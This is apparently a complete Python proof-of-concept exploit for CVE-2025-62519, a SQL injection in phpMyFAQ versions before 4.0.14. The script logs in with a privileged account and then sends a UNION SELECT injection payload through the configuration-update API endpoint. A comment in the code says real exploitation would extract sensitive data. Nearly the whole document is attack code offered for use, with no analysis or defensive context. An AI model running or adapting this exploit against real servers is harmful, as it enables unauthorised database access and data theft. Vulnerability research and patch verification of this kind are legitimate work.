CVE-2025-62519

# CVE-2025-62519 phpMyFAQ SQL Injection PoC # Target: phpMyFAQ < 4.0.14 # Requirement: Valid account with Configuration Edit permissions import requests import sys from urllib.parse import urlencode TARGET_URL = "http://target-url/phpmyfaq" USERNAME = "admin" PASSWORD = "password" def login(session, username, password): """Login to phpMyFAQ and get session cookie""" login_url = f"{TARGET_URL}/ajaxservice.php?action=session" data = { "username": username, "password": password, "submit": "login" } response = session.post(login_url, data=data) return response.status_code == 200 def exploit_sql_injection(session): """Exploit SQL injection in configuration update""" # SQL injection payload - extracts database version # In real exploitation, this would extract sensitive data sql_payload = "' OR 1=1 UNION SELECT version(),user()-- " exploit_url = f"{TARGET_URL}/api/index.php?action=config/update" headers = { "Content-Type": "application/x-www-form-urlencoded", "X-Requested-With": "XMLHttpRequest" } # Malicious configuration parameter with SQL injection data = { "config_key": "main.title", "config_value": sql_payload } response = session.post(exploit_url, data=data, headers=headers) return response.text def main(): session = requests.Session() print("[*] CVE-2025-62519 phpMyFAQ SQL Injection PoC") print("[*] Target:", TARGET_URL) # Step 1: Login with privileged account print("\n[1] Authenticating with privileged account...") if not login(session, USERNAME, PASSWORD): print("[-] Authentication failed") sys.exit(1) print("[+] Authentication successful") # Step 2: Exploit SQL injection print("\n[2] Exploiting SQL injection...") result = exploit_sql_injection(session) print("[+] Response:", result) print("\n[*] PoC execution completed") if __name__ == "__main__": main()

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